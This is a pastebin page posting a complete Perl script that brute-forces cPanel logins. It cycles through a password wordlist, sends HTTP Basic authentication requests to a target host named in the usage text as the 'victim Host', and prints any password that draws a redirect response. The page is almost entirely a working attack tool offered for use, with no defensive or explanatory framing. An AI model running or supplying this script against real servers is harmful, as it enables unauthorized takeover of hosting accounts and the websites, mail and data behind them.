TrojanSpot

Cpanel Brute Force | www.pemula.info

Sep 20th, 2012
445
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Cpanel Password Brute Forcer
  3. # ----------------------------
  4.  
  5. use IO::Socket;
  6. use LWP::Simple;
  7. use MIME::Base64;
  8.  
  9. $host = $ARGV[0];
  10. $user = $ARGV[1];
  11. $port = $ARGV[2];
  12. $list = $ARGV[3];
  13. $file = $ARGV[4];
  14. $url = "http://".$host.":".$port;
  15. if(@ARGV < 3){
  16. print q(
  17. ###############################################################
  18. # Cpanel Password Brute Force Tool                            #
  19. ###############################################################
  20. # usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
  21. #-------------------------------------------------------------#
  22. # [Host] : victim Host (xxxxx.com)                            #
  23. # [User] : User Name (demo)                                   #
  24. # [PORT] : Port of Cpanel (2082)                              #
  25. # [list] : File Of password list (list.txt)                   #
  26. # [File] : file for save password (password.txt)              #
  27. #                                                             #
  28. ###############################################################
  29. #                                                             #
  30. ###############################################################
  31. );exit;}
  32.  
  33. headx();
  34.  
  35. $numstart = "-1";
  36.  
  37. sub headx() {
  38. print q(
  39. ###############################################################
  40. #                                                             #
  41. #                                                             #
  42. ###############################################################
  43. );
  44. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  45. @PASSWORDS = <PASSFILE>;
  46. close PASSFILE;
  47. foreach my $P (@PASSWORDS) {
  48. chomp $P;
  49. $passwd = $P;
  50. print "\n [~] Try Password : $passwd \n";
  51. &brut;
  52. };
  53. }
  54. sub brut() {
  55. $authx = encode_base64($user.":".$passwd);
  56. print $authx;
  57. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  58. print $sock "GET / HTTP/1.1\n";
  59. print $sock "Authorization: Basic $authx\n";
  60. print $sock "Connection: Close\n\n";
  61. read $sock, $answer, 128;
  62. close($sock);
  63.  
  64. if ($answer =~ /Moved/) {
  65. print "\n [~] PASSWORD FOUND : $passwd \n";
  66. exit();
  67. }
  68. }
Add Comment
Please, Sign In to add comment